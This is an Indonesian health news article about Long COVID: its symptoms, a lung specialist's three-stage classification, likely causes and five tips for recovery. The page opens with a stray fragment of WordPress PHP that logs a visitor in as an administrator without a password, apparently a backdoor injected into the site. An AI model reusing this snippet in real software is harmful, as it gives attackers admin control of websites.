user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Kenali Gejala Long COVID dan Cara Mengatasinya

26 Jul 2021


Foto: Freepik


Mayoritas orang yang terkonfirmasi positif COVID-19 dapat sembuh setelah perawatan selama dua minggu. Namun, ada juga yang tidak kunjung membaik atau masih merasakan gejala COVID-19 meskipun hasil tesnya sudah negatif. Seseorang yang sembuh lebih lama dari waktu perawatan standar atau terus menunjukkan gejala COVID-19 selama lebih dari 4-5 minggu, seperti yang dilansir dari Kompas.com, bisa jadi mengalami Long COVID.

Dokter spesialis paru di Rumah Sakit Akademik (RSA) UGM Yogyakarta, dr Siswanto Sp P pun menyebutkan dalam diskusi daring Long COVID dan Pemulihan Pasca COVID-19, Minggu (25/7) yang diselenggarakan Keluarga Alumni Universitas Gadjah Mada (KAGAMA), pasien dengan tingkat keparahannya berat, geriatri, punya penyakit penyerta atau mendapatkan terapi oksigen, seperti NIV atau mechanical ventilator, berpeluang mengalami Long COVID.

Pada kesempatan yang sama, dr Siswanto menambahkan, ada tiga golongan terkait kondisi ini. Pertama, jika gejala dan tanda COVID-19 masih ditemukan pada pasien hingga empat pekan disebut sebagai acute COVID. Kedua, jika gejala dan tanda terjadi pada rentang 4-12 pekan disebut sebagai ongoing symptomatic COVID. Ketiga, jika masih bergejala hingga lebih dari 12 pekan, maka disebut post-COVID syndrome. Kedua jenis yang terakhir inilah yang masuk ke dalam kategori Long COVID.

Ada beberapa kemungkinan penyebab Long COVID. Bisa karena kerusakan sel secara lokal ketika virus masuk ke dalam jaringan tubuh, adanya kemungkinan infeksi tersebut menyebabkan kerusakan yang permanen, inflamasi yang terjadi secara terus-menerus karena terjadi respons imun tubuh yang tidak semestinya, adanya perusakan pembuluh darah, dan faktor stres yang dialami oleh pasien.

Lalu bagaimana jika Anda mengalaminya? Meski sudah tidak lagi menularkan virus, Anda harus waspada dan tetap melakukan monitoring untuk memastikan proses penyembuhan berjalan baik. Gejala Long COVID ini dapat memengaruhi tubuh para penyintas dengan cara yang berbeda-beda, oleh karena itu tidak ada satu pengobatan khusus yang dapat membantu memulihkannya. Namun Long COVID bisa diminimalisir dengan beberapa hal berikut:
Advertisement
1/ Istirahat cukup.
2/ Cermati gejala mudah lelah, batuk, hilang penciuman, nyeri kepala, mual, diare, hingga nyeri dada dan atasi dengan pengobatan simptomatik untuk meredakan gejala umum.
3/ Tetap mengutamakan gaya hidup sehat dengan nutrisi seimbang dan olahraga ringan.
4/ Melakukan kegiatan yang mengasah otak, seperti mengerjakan puzzle, teka-teki silang, dan melatih memori.
5/ Melakukan peningkatan aktivitas secara bertahap dan tidak memaksa tubuh beraktivitas seperti biasanya. (f) 


Baca Juga: 
7 Fakta Vaksin COVID-19 Pfizer dari Efikasi hingga Keamanannya
Kata WHO: Yang Sudah Vaksinasi Tidak Sakit Parah Saat Terpapar Varian Delta
Hari Anak Nasional 2021, Lebih dari 350 Ribu Anak Indonesia Terpapar COVID-19

 




Topic

#covid19, #pandemi, #longcovid, #corona

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?